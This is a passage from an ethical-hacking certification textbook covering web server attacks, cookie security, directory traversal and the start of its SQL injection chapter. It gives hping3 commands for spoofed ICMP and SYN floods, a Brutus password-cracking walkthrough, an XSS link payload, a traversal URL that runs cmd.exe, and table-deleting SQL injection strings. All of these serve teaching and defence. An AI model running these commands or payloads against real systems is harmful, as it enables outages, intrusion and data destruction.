through lazy coding or other practices, creates a buffer in code but does not put
restrictions on it. The data must go somewhere, which in this case means adjacent
buffers. When data spills or overflows into the buffers it was not intended for, the result
can be corrupted or overwritten data. If this occurs, that data can lose its integrity. In
extreme cases, buffer overwriting can lead to anything from a loss of system integrity to
the disclosure of information to unauthorized parties.
Buffer overflows were covered in Chapter 11, “Denial of Service.”
Denial-of-Service Attack
An attack that can wreak havoc with a web server is the venerable denial-of-service (DoS)
attack. As a fixed asset, a web server is vulnerable to this attack much as any other serverbased asset would be. When it is carried out against a web server, all the resources on that
server can be rapidly consumed, slowing down its performance. A DoS attack is mostly
considered an annoyance because it is easy to defeat.
Distributed Denial-of-Service Attack
While a DoS attack is mostly an annoyance, the distributed denial-of-service (DDoS)
attack is much more of a problem. A DDoS accomplishes the same goal as a DoS: It
consumes the resources on a server and prevents it from being used by legitimate users.
The difference between a DDoS and a DoS is scale. In a DDoS, many more systems are
used to attack a target, crushing it under the weight of multiple requests at once. In some
cases, the attack can be launched from thousands of servers at once against a target.
Here are some of the more common DDoS attacks:
Ping or ICMP Flooding Attack A computer sends a ping to another system with the
intention of uncovering information about the system. This attack can be scaled up so
that the packets being sent to a target force it to go offline or suffer slowdowns. This
attack can be quite easily performed through the use of hping3. (See Exercise 13.1.)
EXERCISE 13.1
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Hping3 and ICMP Floods
For this exercise we will use Kali Linux, but this should work on any OS where
hping3 is available.
1. At a command prompt, enter the following command:
hping3 -1 --flood -a <victim_ip> <broadcast_address>
In this example simply replace the victim_ip with the target’s IP address and
broadcast_address with the broadcast address of the victim network.
2. When you’ve finished performing the attack, hit Ctrl+C to terminate the action.
If you wish to view this action closer, you can also run Wireshark concurrently with
this attack to see the packets generated by hping3.
Smurf Attack Similar to the ping flood attack but with a twist to the process. In a Smurf
Attack, a ping command is sent to an intermediate network where it is amplified and
forwarded to the victim. This single ping now becomes a virtual tsunami of traffic.
SYN Flooding The equivalent of sending a letter that requires a return receipt; however,
the return address is bogus. If a return receipt is required and the return address is bogus,
the receipt will go nowhere, and a system waiting for confirmation will be left in limbo for
some period of time. An attacker who sends enough SYN requests to a system can use all
the connections on a system so that nothing else can get through. (See Exercise 13.2.)
EXERCISE 13.2
Hping3 and SYN Floods
In this exercise you will use hping3 to perform a SYN flood against a web server. You
should use Kali Linux to perform this exercise.
1. At the command prompt, enter the following:
hping3 -i u1 -S -p 80 <target ip>
In this example,
represents the number of seconds between packets, which is 1 second in
this case.
–i
–S
specifies a SYN attack.
–p
is the port to target, which is port 80 in this example.
<target ip>
is the victim’s IP address.
2. To terminate the attack hit Ctrl+C.
IP Fragmentation/Fragmentation Attack Requires an attacker to use advanced
knowledge of the Transmission Control Protocol/Internet Protocol (TCP/IP) suite to
break packets into fragments that can bypass most intrusion-detection systems. In
extreme cases, this type of attack can cause hangs, lockups, reboots, blue screens, and
other mischief.
Banner Information
As you learned in the footprinting phase, you can gather information from a server by
performing a banner grab. This process is no different from earlier; you can use tools
such as Telnet or PuTTY to extract banner information and investigate the internals of the
service.
The following code illustrates what may be returned from a banner:
HTTP/1.1 200 OK
Server: <web server name and version>
Content-Location: http://192.168.100.100/index.htm
Date: Wed, 12 May 2010 14:03:52 GMT
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Wed, 12 May 2010 18:56:06 GMT
ETag: "067d136a639be1:15b6"
Content-Length: 4325
This header, which is easy to obtain, reveals information about the server that is being
targeted. Web servers can have this information sanitized, but the webmaster must
actually make the effort to do so.
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This information can be returned quite easily from a web server using the following
command:
telnet www.<servername>.com 80
Another way to grab information about a web server would be to use a utility known as ID
Serve from grc.com. (See Exercise 13.3.)
EXERCISE 13.3
Using ID Serve
In this exercise you will use ID Serve to identify a server type. To perform this
exercise, download ID Serve from grc.com.
1. When you’ve downloaded the file, double-click the ID Serve application.
2. When prompted, click the Server Query tab.
3. In the field labeled 1, enter the name of the server to target.
4. Click the Query The Server button.
The utility should return the identification of the web server at the host name
provided.
Note that in some cases the utility will not return the server type. When this
happens, this is more than likely because the remote server has not defined its
server tag. In these cases, you will have to use other methods to identify the server.
Another method of identifying a server is to use one of the utilities discussed way back in
our footprinting chapter called Netcraft. Netcraft is effective at identifying a web server
and can provide the results as to the type of web server.
Other tools that can provide or verify information about a web server include the
following:
Nmap via its –sV switch. For example, use the command nmap –sV <domain name>
where <domain name> is the target on which you wish to identify the web server.
Netcat in a manner similar to using Telnet for banner grabbing. For example, use the
netcat command with the syntax nc <ip address> 80 to identify the service running
on port 80.
Shodan search engine at www.shodanhq.com
HTTPRecon to fingerprint a site
HTTPrint, though old, can identify some sites but should not be used unless other
options are not proving useful.
Error Messages
Error messages can reveal a lot of information about a server and a web application.
Careless reveals of error messages can provide information that may be used for an attack
or at least the fine-tuning of an attack. Messages such as the common 404 can inform a
visitor that content is not available or located on the server. However, there are plenty of
other error messages that reveal different types of information, from the very detailed to
the very obscure.
Fortunately, in many servers and applications error messages can be configured or
suppressed as necessary. Typically, these messages should not be too descriptive—if seen
at all—outside a development or test environment.
Luckily, many web servers allow for the disabling of detailed messages or for the
configuration of custom error pages that do not give away information.
Suppressing error messages in applications to ensure that they do not reveal
the internals of an application is vital. A web application that reveals too much can
allow an attacker to fine-tune their attack very quickly. Making error messages less
verbose or more generic can make some attacks significantly more difficult. For
example, an attack we will explore in Chapter 14, “SQL Injection,” known as a SQL
injection is much harder if error messages are managed properly; it would force the
attacker to perform a blind SQL injection.
Vandalizing Web Servers
Web servers are the targets of numerous types of attacks, but one of the most common
attacks is the act of vandalism known as defacement. Defacing a website can be aggressive
or subtle, depending on the goals of the attacker, but in either case the goals are the same:
to embarrass the company, make a statement, or just be a nuisance. To deface a website,
it is possible to use a number of methods, depending on the attacker’s own skill level,
capabilities, and opportunities available.
Common Flaws and Attack Methods
Let’s look at some common ways of attacking a web server and the sites and applications
hosted on it.
Misconfiguration
Let’s get this out of the way first: Web servers and web applications are complex no
matter which way you view them. It is very easy for the inexperienced but wellintentioned administrator to misconfigure or just plain miss a setting here and there,
which may be the option that enables an attack.
To prevent misconfiguration from becoming a problem, make sure that the role of server
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is correctly defined. Plan and evaluate the configuration to ensure it will provide the
necessary protection. Also make sure to review the best practices that vendors such as
Microsoft offer on steps to take to secure a system.
Another option is to use vulnerability scanners to check for potential issues on a website
or web application. Vulnerability scanners can provide valuable guidance as to where
efforts should be concentrated.
Input Validation
Input validation is a mechanism used to verify information as it is entered into an
application. Typically, a user entering data into a form or website will have few if any
restrictions placed on them. When data is accepted without restriction, mistakes both
intentional and unintentional can be entered into the system and can lead to problems
later on. However, with a mechanism for validating input in place, it is possible to thwart
these problems, which include:
Database manipulation
Database corruption
Buffer overflows
Inconsistent data
A lack of input validation can allow advanced attacks such as SQL
injections to occur. It is also possible that other attacks such as Stored XSS can be
made possible by the lack of input validation.
A good example of the lack of input validation is a box on a form where a zip code is to be
entered, but in reality it will accept any data. In other cases, accepting the wrong data will
simply mean that the information may be unusable to the owner of the site, but it could
cause the site to crash or mishandle the information to reveal information onscreen.
Fortunately, this problem is relatively easy to fix since the application developer need
only place constraints on the types of input that can be accepted by the application. For
example, the developer can make sure that only numeric data and certain phrases are
allowed.
Cross-Site Scripting
Another type of attack against a web server is the cross-site scripting (XSS) attack. It
relies on a variation of the input validation attack, but the target is different because the
goal is to go after a user instead of the application or data. One example of XSS uses
scripting methods to execute a Trojan with a target’s web browser; this would be made
possible through the use of scripting languages such as JavaScript or VBScript. By careful
analysis, an attacker can look for ways to inject malicious code into web pages in order to
gain information ranging from session information on the browser, to elevated access, to
content in the browser.
The following steps reveal XSS in action:
1. The attacker discovers that a website suffers from an XSS scripting defect.
2. An attacker sends an email stating that the victim has just been awarded a prize and
should collect it by clicking a link in the email. The link in the email goes to:
http://www.badsite.com/default.asp?name= <script>badgoal()</script>
3. When the link is clicked, the website displays the message “Welcome Back!” with a
prompt for the user to enter their name.
The website reads the name from their browser via the link in the email. When the
user clicks the link in the email, the website is told their name is <script>evilScript
()</script>.
4. The web server reports the name and returns it to the victim’s browser.
5. The browser correctly interprets this as a script and runs the script.
6. This script instructs the browser to send a cookie containing some information to the
attacker’s system, which it does.
XSS is an older attack, so many modern browsers include protection
against it. However, the protection is not foolproof, and attacks can be induced
through poor configuration, patching, or even third-party add-ons. This doesn’t even
include XSS scripting attacks that originate from the server itself.
Unvalidated Redirects and Forwards
For this type of attack to occur, the web application or page must have poor or
nonexistent input validation.
To visualize this type of attack, imagine a site has a redirect.php module that takes a
URL as a GET parameter. Manipulating this parameter can create a URL on
targetsite.com that redirects the browser to evilstuff.com. When the user sees the link,
they will see favorite.com/blahblahblah, which the user thinks is trusted and is safe to
click. In reality, the link will send them to a different page, which in this case may deposit
software or some other bad stuff onto a victim’s system.
Insecure Logon Systems
Many web applications require some sort of authentication or login process prior to their
use. Because of the importance of the logon process, it is essential that it be handled
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safely and securely. You must take care that the incorrect or improper entry of
information does not reveal data that an attacker can use to gain additional information
about a system.
Applications can track information relating to improper or incorrect logons by users if so
enabled. Typically, this information comes in log form, with entries listing items such as
these:
Entry of an invalid user ID with a valid password
Entry of an valid user ID with an invalid password
Entry of an invalid user ID and password
Applications should be designed to return generic information that does not reveal
information such as correct usernames. Web apps that return a message such as
“username invalid” or “password invalid” can give an attacker a target to focus on—such
as a correct password (see Exercise 13.4).
EXERCISE 13.4
Performing a Password Crack
One tool designed to uncover and crack passwords for web applications and websites
is a utility known as Brutus. Brutus is not a new tool, but it does demonstrate one
way an attacker can uncover passwords for a website and applications. Brutus is a
password cracker that is designed to decode different password types present in web
applications.
Brutus is simple to use, as are most tools in this category. Follow these steps:
1. Enter the IP address in the Target field in Brutus.
This is the IP address of the server on which the password is intended to be
broken.
2. Select the type of password crack to perform in the Type field.
Brutus has the ability to crack passwords using HTTP, FTP, and POP3.
3. Enter the port over which to crack the password.
4. Configure the Authentication options for the system.
If the system does not require a username or uses only a password or PIN, choose
the Use Username option.
For known usernames, the Single User option may be used and the username
entered in the box below it.
5. Set the Pass Mode and Pass File options.
Brutus can run the password crack against a dictionary word list.
At this point, the password-cracking process can begin; once Brutus has cracked
the password, the Positive Authentication field will display it.
Brutus is not the newest password cracker in this category, but it is well known
and effective. Another cracker in this category is THC Hydra.
Scripting Errors
Web applications, programs, and code such as Common Gateway Interface (CGI), ASP
.NET, and JavaServer Pages (JSP) are commonly in use in web applications and present
their own issues. Vulnerabilities such as a lack of input validation scripts can be a
liability. A savvy attacker can use a number of methods to cause grief to the administrator
of a web application, including the following:
Upload Bombing Upload bombing uploads masses of files to a server with the goal of
filling up the hard drive on the server. Once the hard drive of the server is filled, the
application will cease to function and will crash.
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Poison Null Byte Attack A poison null byte attack passes special characters that the
scripts may not be designed to handle properly. When this is done, the script may grant
access where it should not otherwise be given.
Default Scripts Default scripts are often uploaded to servers by web designers who do
not know what they do at a fundamental level. In such cases, an attacker can analyze or
exploit configuration issues with the scripts and gain unauthorized access to a system.
Sample Scripts Web applications may include sample content and scripts that are
regularly left in place on servers. In such situations, these scripts may be used by an
attacker to carry out mischief.
Poorly Written or Questionable Scripts Some scripts have appeared that include
information such as usernames and passwords, potentially letting an attacker view the
contents of the script and read these credentials.
Session Management Issues
A session represents the connection that a client has with the server application. The
session information that is maintained between client and server is important and can
give an attacker access to confidential information if compromised.
Ideally, a session will have a unique identifier, encryption, and other parameters assigned
every time a new connection between a client and a server is created. After the session is
exited, closed, or not needed, the information is discarded and not used again (or at least
not used for an extended period), but this is not always the case. Some vulnerabilities of
this type include the following:
Long-Lived Sessions Sessions between a client and a server should remain valid only
for the time they are needed and then discarded. Sessions that remain valid for periods
longer than they are needed allow intruders using attacks such as XSS to retrieve session
identifiers and reuse a session.
Logout Features Applications should provide a logout feature that allows a visitor to log
out and close a session without closing the browser.
Insecure or Weak Session Identifiers Session IDs that are easily predicted or
guessed—so they can be used by an attacker to retrieve or use sessions that should be
closed—can be exploited. Some flaws in web applications can lead to the reuse of session
IDs. Exploitation of session IDs can also fall into the category of session hijacking.
Granting of Session IDs to Unauthorized Users Sometimes applications grant
session IDs to unauthenticated users and redirect them to a logout page. This can give the
attacker the ability to request valid URLs.
Poor or No Password Change Controls An improperly implemented or insecure
password change system, in which the old password is not required, allows a hacker to
change passwords of other users.
Inclusion of Unprotected Information in Cookies Cookies may contain
unprotected information such as the internal IP address of a server that can be used by a
hacker to learn more about the nature of the web application.
Protecting Cookies
Since cookies are an integral part of web applications, it is important to understand the
methods that can be used to secure them properly. While the developer of an application
is ultimately the only person who can make changes to secure cookies in most cases, it is
important to understand what they can do.
Earlier in this chapter we discussed what cookies are and talked a little about what they
are used for and how they may be compromised. Now let’s talk about setting attributes
that can secure cookies and make them safer.
The following is a list of the attributes that can be set on a per-cookie basis, which makes
them safer to use:
Secure When this attribute is set on a cookie, it informs the browser that the cookie may
only be sent over methods that are secure such as HTTPS. However, in the event that a
web application utilizes both HTTP and HTTPS, the cookie may inadvertently be passed in
the clear.
HttpOnly Setting this attribute defends against XSS attacks because the cookie can be
accessed only via HTTP and not via scripts such as client-side JavaScript. It may not be
supported in all browsers.
Domain When this attribute is used, it verifies that the domain the cookie is being used
with matches; then a second attribute known as the path attribute will be checked.
Path When the domain attribute is set, the path can then specify the location or path the
cookie is actually valid for. It is important when using this attribute that you use as
restrictive a path as possible to avoid attacks launched from co-located applications.
Expires This attribute offers strong protection against misuse of cookies because it
actually deletes the cookie when the expiration date is exceeded. However, until the date
is exceeded, the cookie will continue to be accessible and used by the current browser
session and all following sessions. If the attribute is not specifically set, then the cookie
will be deleted once the current browser session is closed.
Encryption Weaknesses
In web applications, encryption plays a vital role because sensitive information is
frequently exchanged between client and server in the form of logons or other types of
information.
When securing web applications, you must consider the safety of information at two
stages: when it is stored and when it is transmitted. Both stages are potential areas for
attack. When considering encryption and its impact on the application, focus on these
areas of concern:
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Weak Ciphers Weak ciphers or encoding algorithms are those that use short keys or are
poorly designed and implemented. Use of such weak ciphers can allow an attacker to
decrypt data easily and gain unauthorized access to the information.
It is important that you never underestimate the value of the data being stored,
processed, or transmitted by your web application. Consider the data you store for your
clients and how to protect it. Sensitive information such as credit card data and Social
Security numbers should never be transmitted. If this type of information needs to be
stored, always use the strongest encryption possible or mandated, such as AES 256 or
RSA 2048. If it doesn’t need to be stored, don’t store it. If you need to process payments
that will involve this data, use a payment processor that is PCI compliant so you don’t
have to take on that task.
Vulnerable Software Some software implementations that encrypt the transmission of
data, such as Secure Sockets Layer (SSL), may suffer from poor programming and thus
become vulnerable to attacks such as buffer overflows.
Some tools and resources are available to help in assessing the security of web
applications and their associated encryption strategies:
OpenSSL, an open source toolkit used to implement the SSLv3 and TLS v1 protocols:
www.openssl.org
The OWASP guide to common cryptographic flaws: www.owasp.org
Nessus Vulnerability Scanner, which can list the ciphers in use by a web
server: www.nessus.org
WinSSLMiM, which can be used to perform an HTTPS man-in-the-middle attack:
www.securiteinfo.com/outils/WinSSLMiM.shtml
Stunnel, a program that allows the encryption of non-SSL-aware
protocols: www.stunnel.org
Chasing POODLES
In late 2014 an attack came to the attention of the security world known as the
POODLE (Padding Oracle On Downgraded Legacy Encryption) attack. This attack
showed the vulnerabilities introduced by using legacy protocols with weak
encryption.
POODLE was designed to take advantage of browser communications that use SSL
3.0 to provide encryption and authentication services. In practice, SSL has been
superseded by Transport Layer Security (TLS) as a means to provide secure data
transmission over the Internet. The situation that allows this attack to take place
occurs when a browser doesn’t support TLS but does support SSL 3.0. When the
browser encounters a situation where TLS is not an option, it reverts to SSL 3.0 as its
encryption option. An attacker noticing this situation can insert themselves into the
communication session and force the browser to use SSL 3.0 instead.
If an attacker is able to successfully exploit this situation, they can then exploit a
design defect in the SSL 3.0 technology to carry the attack further. The defect allows
an attacker to alter the padding at the end of each block and thus make it less secure.
If this attack continues, the attacker can eventually gain access to resources and data
they should not be able to have.
In order to prevent this attack, the browser and servers should be configured in such
a way as to prevent the use of SSL 3.0.
Directory Traversal Attacks
The directory traversal attack allows an attacker to move outside the web server directory
and into other parts of the host system. Once outside this directory, the attacker may then
be able to bypass permissions and other security controls and execute commands on the
system.
To execute this attack, an intruder takes advantage of errors or weaknesses in one of two
areas:
Access control lists (ACLs), which are used to indicate which users and groups are
allowed to access files and directories on a server as well as what level of interaction is
allowed
Root directory, which is the directory on the server to which users are specifically
restricted. Typically, this is the highest-level folder they are allowed to access. The root
directory acts as the top directory in the website and prevents users from gaining
access to sensitive files on the server.
To perform a directory traversal attack, surprisingly little is needed—just some knowledge
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and a web browser. With these tools and patience, it is possible to blindly find default
files and directories on a system.
The success of the attack depends largely on the configuration of the website and server,
but there are some common threads. Typically, the attackers rely on taking over or
spoofing themselves as users and gaining access to anything the users have access to.
In web applications with dynamic pages (such as ASP or ASP.NET), input is usually
received from browsers through GET or POST request methods. Here is an example of a
GET HTTP request URL:
http://beta.canadiens.com/show.asp?view=history.html
With this URL, the browser requests the dynamic page show.asp from the server and with
it also sends the parameter view with the value history.html. When this request is
executed on the web server, show.asp retrieves the file history.html from the server’s
filesystem and returns it to the requesting party. Through some analysis, an attacker can
assume that the page show.asp can retrieve files from the filesystem and craft a custom
URL:
http://beta.canadiens.com/show.asp?view=../../../../../Windows/system.ini
This will cause the dynamic page to retrieve the file system.ini from the filesystem and
display it to the user. The expression ../ instructs the system to go one directory up,
which is commonly used as an operating system directive. The attacker has to guess how
many directories to go up to find the Windows folder on the system, but this is easily done
by trial and error.
The actual directory structure will vary depending on the server itself, so
this process may require a considerable amount of trial and error. However, consider
the fact that it is not uncommon for software to be installed into default folders and
structures.
Of course, you don’t need to use code to attack the server; you can use just the browser
alone. A web server may be completely open to a directory traversal attack and only
waiting for an ambitious attacker to track down and use sample files and scripts against it.
For example, a URL request that makes use of the scripts directory of IIS to traverse
directories and execute a command can look like this:
http://server.com/scripts/..%5c../Windows/System32/cmd.exe?/c+dir+c:\
The request returns a list of all files in the C:\ directory by executing the cmd.exe
command shell file and running the command dir c:\ in the shell. The %5c expression
that is in the URL request is a web server escape code used to represent normal
characters. In this case, %5c represents the character \. In some texts and whitepapers, the
use of a % sign in a URL is known as percent encoding.
Most modern web servers check for the presence of incorrect or improper
codes and block them from being used. However, with such a large number of web
servers of all different types, it is more than possible that the server you choose to
attack will not filter for these codes.
Directory Traversal Attack Countermeasures
A handful of methods can be used to thwart directory traversal attacks, such as these:
Running modern web server software or ensuring that up-to-date patches are installed
Enabling filtering of user input to the web server. It is common for modern web
servers to include the ability to filter out nonstandard requests or codes.
Testing Web Applications
Since web applications are complex, the use of specialized software to analyze or test an
application may be necessary. Some of these software packages are included here.
Burp Suite
Burp Suite is a Java-based application used to test and attack web applications. Upon
closer inspection the software is actually a collection of tools used to check various parts
and features of an application.
Burp Suite offers a robust combination of tools that can be used both manually and
automatically to check the application. The tools can enumerate, analyze, scan, attack,
and exploit holes in the web application.
Burp Suite includes tools that can perform all of the following:
Proxy The proxy function allows the user to route traffic between the browser and the
web application by configuring the web browser to use Burp Suite as a proxy. When in
use, the software allows the interception, viewing, and alteration of traffic between the
browser and server.
Spider This tool can map out a web application, generating an inventory of the
application’s structure.
Scanner When put to use, the scanner can discover vulnerabilities in a web application.
In many cases it is not as robust as a dedicated vulnerability scanner, but it is still
effective.
Intruder This is an automated and fully customizable attack tool for web applications.
Repeater This is a tool for manually modifying and reissuing individual HTTP requests
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and analyzing the response to each.
Sequencer This specific feature is very useful for testing web applications for their
susceptibility to session hijacking by inspecting tokens for randomness.
Vega Web Application Scanner
Included with Kali Linux 2.0 is a scanner designed to evaluate a web application. Vega is
capable of detecting SQL injection issues, XSS, disclosure of sensitive information, and
more. While it is present and installed on Kali Linux, it is available on Windows and OS X
as well because it is Java based.
Summary
This chapter focused on web applications and web servers. You learned that web servers
are the platform that web applications run on, so their vulnerabilities need to be
considered as well. A web application can be presented through a standard web browser or
a client application such as webmail, streaming video, or other similar software.
Web applications have become incredibly popular on several fronts over the last few
years, and as such they have become huge targets for attackers. Attackers can easily
perform actions such as banner grabs, upload bombs, and fingerprinting of web
applications to either gain information about an organization or penetrate deeper into the
organization. Defending these applications is incredibly tough because these apps are
frequently customized to a specific environment or need.
Exam Essentials
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Understand the basic concept of web applications. Web applications are designed
to run on the server and transmit the results to the client.
Understand directory traversals. Know that directory traversals allow for the
accessing of the content of a web server or application outside the root directory.
Understand client-side applications. Know that client-side applications such as
JavaScript and similar languages are designed to be processed on the client side and are
not processed by the server.
Understand cookies and cookie issues. Know that cookies are a part of modern web
applications and store information where stateless protocols cannot. Cookies can be a big
security risk if improperly used, but plenty of methods are available to secure their use.
Understand the different flaws in web applications. Know the different types of
weaknesses that can lead to a successful attack against a web application. Among the
problems of a vulnerable web application are lack of input validation, weak encryption,
and poor authentication.
Know preventive measures. Know the preventive measures available as well as the
actions each one takes to prevent attacks.
Review Questions
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1. Which of the following best describes a web application?
A. Code designed to be run on the client
B. Code designed to be run on the server
C. SQL code for databases
D. Targeting of web services
2. __________ is a client-side scripting language.
A. JavaScript
B. ASP
C. ASP.NET
D. PHP
3. Which of the following is an example of a server-side scripting language?
A. JavaScript
B. PHP
C. SQL
D. HTML
4. Which of the following is used to access content outside the root of a website?
A. Brute force
B. Port scanning
C. SQL injection
D. Directory traversal
5. Which of the following can prevent bad input from being presented to an application
through a form?
A. Request filtering
B. Input validation
C. Input scanning
D. Directory traversing
6. __________ can be used to identify a web server.
A. Session hijacking
B. Banner grab
C. Traversal
D. Header analysis
7. In the field of IT security, the concept of defense in depth is layering more than one
control on another. Why would this be helpful in the defense of a system of sessionhijacking?
A. To provide better protection
B. To build dependency among layers
C. To increase logging ability
D. To satisfy auditors
8. Which of the following is used to set permissions on content in a website?
A. HIDS
B. ACE
C. ACL
D. ALS
9. What could be used to monitor application errors and violations on a web server or
application?
A. HIDS
B. HIPS
C. NIDS
D. Logs
10. Which of the following is an attribute used to secure a cookie?
A. Encrypt
B. Secure
C. HttpOnly
D. Domain
11. A POODLE attack targets what exactly?
A. SSL
B. TLS
C. VPN
D. AES
12. What is used to store session information?
A. Cookie
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B. Snoop
C. Directory
D. File
13. Which attack can be used to take over a previous session?
A. Cookie snooping
B. Session hijacking
C. Cookie hijacking
D. Session sniffing
14. Which command would retrieve banner information from a website at port 80?
A. nc 192.168.10.27 80
B. nc 192.168.19.27 443
C. nc 192.168.10.27 –p 80
D. nc 192.168.10.27 –p –l 80
15. How is a brute-force attack performed?
A. By trying all possible combinations of characters
B. By trying dictionary words
C. By capturing hashes
D. By comparing hashes
16. What is the command to retrieve header information from a web server using Telnet?
A. telnet <website name> 80
B. telnet <website name> 443
C. telnet <website name> –port:80
D. telnet <website name> –port:443
17. Groups and individuals who may hack a web server or web application based on
principle or personal beliefs are known as __________.
A. White hats
B. Black hats
C. Script kiddies
D. Hacktivists
18. The Wayback Machine would be useful in viewing what type of information relating to
a web application?
A. Get Job postings
B. Websites
C. Archived versions of websites
D. Backup copies of websites
19. What may be helpful in protecting the content on a web server from being viewed by
unauthorized personnel?
A. Encryption
B. Permissions
C. Redirection
D. Firewalls
20. A common attack against web servers and web applications is __________.
A. Banner grab
B. Input validation
C. Buffer validations
D. Buffer overflow
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Chapter 14
SQL Injection
CEH EXAM OBJECTIVES COVERED IN THIS CHAPTER:
III. Security
P. Vulnerabilities
IV. Tools/Systems/Programs
O. Operating environments (e.g., Linux, Windows, Mac)
Q. Log analysis tools
S. Exploitation tools
This chapter covers SQL injection, one of the most complex and
powerful attacks. SQL injection has a steep learning curve, and to carry out an attack, you
will need to have knowledge of web applications, databases, and SQL—and possess a lot of
patience.
As a penetration tester, you undoubtedly will have to test for these types of attacks or
defend against them, and as such you should acquaint yourself with the basics of the
category of attack.
The acronym SQL (pronounced sequel) stands for Structured Query
Language, a language for specifying database queries. SQL was developed in the early
1970s by personnel working for IBM. In the late 1970s the company that later
became Oracle developed the language for one of their own products. Soon after,
IBM and Oracle both had SQL products on the market. Today, SQL is used in many
products, including Microsoft’s SQL Server.
Attacks that use SQL target websites or web applications that are powered by a back-end
database. The attack relies on the strategic insertion of malicious code or statements into
existing queries with the intention of viewing or manipulating data that is stored in the
tables within the database. Due to the ubiquity of SQL, this attack is reasonably portable
across different platforms and database types. SQL injection attacks are a common and
dangerous mechanism for compromising websites. Many high-profile attacks are a result
of SQL injection.
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To be able to carry out a SQL injection attack, you must have experience
with at least Microsoft SQL Server or Oracle Database. You should also be
comfortable writing and dissecting code. Although you can read this chapter without
expert knowledge, it will be to your advantage to study SQL a bit before going too far.
You will not need to write SQL code for the CEH exam, but being able to do so would
be helpful.
Introducing SQL Injection
SQL injection has been around for at least 20 years, but it is no less powerful or
dangerous than any other attack we have covered so far. It is designed to exploit flaws in a
website or web application. The attack works by inserting code into an existing line of
code prior to its being executed by a database. If SQL injection is successful, attackers can
cause their own code to run.
In the real world this attack has proven dangerous because many developers are either
not aware of the threat or don’t understand its seriousness and in some cases don’t even
know how to defend against it. Developers should be aware of the following:
SQL injection is typically a result of flaws in the web application or website and is not
an issue with the database.
SQL injection is at the source of many of the high-level or well-known attacks on the
Internet.
The goal of attacks of this type is to submit commands through a web application to a
database in order to retrieve or manipulate data.
The usual cause of this type of flaw is improper or absent input validation, thus
allowing code to pass unimpeded to the database without being verified.
From the attacker’s side, vulnerability to SQL injections is very easy to detect. Visiting a
suspect site and getting it to generate error messages can indicate a potential vulnerability
to this type of attack. In addition, the availability of automated and effective tools has
increased, setting the bar even lower for successful execution of the attack. Finally, this
type of attack is very attractive for an attacker to perform because of the value of the
information that can be obtained. Information, especially personal information, can be
sold on the black market for considerable amounts of money depending on what it is.
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SQL Attacks in Action
In 2011, Sony Corporation was the victim of a SQL injection that compromised a
multitude of accounts (estimated to be over one million emails, usernames, and
passwords). The attack was the result of a known vulnerability that could have been
discovered through pen testing.
In 2013, the U.S. Department of Energy (DoE) and the U.S. Army also found
themselves victims of SQL injection. The FBI revealed that a minimum of 100,000
records, including Social Security numbers of current and former federal employees,
were compromised. In addition, 2,800 of the records obtained included bank account
numbers.
When investigating this attack, the FBI revealed that not only the DoE and the Army
were impacted; NASA, the U.S. Missile Defense Agency, and the Environmental
Protection Agency were also affected. Details of these attacks have not been fully
released as of this writing.
SQL injection is achieved through the insertion of characters into existing SQL
commands with the intention of altering the intended behavior. The following example
illustrates SQL injection in action and how it is carried out. The example also reveals the
impact of altering the existing values and structure of a SQL query.
In the following example, an attacker with the username link inserts their name after the
= sign following the WHERE owner, which used to include the string 'name'; DELETE
FROM items; -- for itemName, into an existing SQL command, and the query becomes the
following two queries:
SELECT * FROM items
WHERE owner = 'link'
AND itemname = 'name';
DELETE FROM items;--
Many of the common database products such as Microsoft’s SQL Server and Oracle’s
Siebel allow several SQL statements separated by semicolons to be executed at once. This
technique, known as batch execution, allows an attacker to execute multiple arbitrary
commands against a database. In other databases, this technique will generate an error
and fail, so knowing the database you are attacking is essential.
If an attacker enters the string 'name'; DELETE FROM items; SELECT * FROM items WHERE
'a' = 'a', the following three valid statements will be created:
SELECT * FROM items
WHERE owner = 'link'
AND itemname = 'name';
DELETE FROM items;
SELECT * FROM items WHERE 'a' = 'a';
A good way to prevent SQL injection attacks is to use input validation, which ensures that
only approved characters are accepted. Use whitelists, which dictate safe characters, and
blacklists, which dictate unsafe characters.
Results of SQL Injection
What can be accomplished as a result of a SQL injection attack? Well, there are a huge
number of possibilities, which are limited only by the configuration of the system and the
skill of the attacker.
If an attack is successful, a host of problems could result. Consider the following a sample
of the potential outcomes:
Identity spoofing through manipulating databases to insert bogus or misleading
information such as email addresses and contact information
Alteration of prices in e-commerce applications. In this attack, the intruder once again
alters data but does so with the intention of changing price information in order to
purchase products or services at a reduced rate.
Alteration of data or outright replacement of data in existing databases with
information created by the attacker
Escalation of privileges to increase the level of access an attacker has to the system, up
to and including full administrative access to the operating system
Denial of service, performed by flooding the server with requests designed to
overwhelm the system
Data extraction and disclosure of all data on the system through the manipulation of
the database
Destruction or corruption of data through rewriting, altering, or other means
Eliminating or altering transactions that have been or will be committed
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Don’t forget one of the most prized pieces of information that can be
obtained through a SQL injection, personally identifiable information (PII).
Disclosure of PII is a massive problem when it occurs, and therefore it should never
be taken lightly. Be aware of what you are storing in the database and its sensitivity.
Store only those things that need to be stored and nothing else. For example, if you
don’t have a reason to store credit card data, don’t! If you don’t have a reason to ask
for Social Security numbers, don’t! Storing this information places huge amounts of
responsibility and liability on your shoulders should you lose control of it to an
unauthorized third party.
The Anatomy of a Web Application
A web application is the target of a SQL injection attack, so you must understand how
these apps work. A web app can be described simply as an application that is accessed
through a web browser or application (such as the apps on a smartphone). However, we
need to be a little more detailed with our description for you to better understand SQL
injection. In essence, a web application works by performing these steps:
1. The user makes a request through the web browser from the Internet to the web
server.
2. The web server accepts the request and forwards it to the applicable web application
server.
3. The web application server performs the requested task.
4. The web application accesses the entire database available and responds to the web
server.
5. The web server responds to the user once the transaction is complete.
6. The requested information appears on the user’s monitor.
The details involved in these steps can change depending on the application involved.
Web applications and servers were covered in Chapter 13.
Server-Side vs. Client-Side Technologies
First, let’s look at the type of technologies involved in browsing and working with the
web. They mainly fall into two areas: client-side and server-side technologies. Server-side
technologies are those that run and are executed on the server itself before delivering
information to the requester. Client-side technologies are those that run within the
browser or somewhere on the client side. For the purposes of our discussion, we will not
be covering client-side technologies here.
Server-side technologies come in many varieties and types, each of which offers
something specific to the user. Generally, each of the technologies allows the creation of
dynamic and data-driven web applications. You can use a wide range of server-side
technologies to create these types of web applications; among them are the following:
ASP
ASP.NET
Oracle
PHP
JSP
SQL Server
IBM DB2
MySQL
Ruby on Rails
All of these technologies are powerful and offer the ability to generate web applications
that are extremely versatile. Each also has vulnerabilities that can lead to it being
compromised, but this chapter is not about those. This chapter, like SQL injection, is
designed to target the code that is used to make the technologies access a database as part
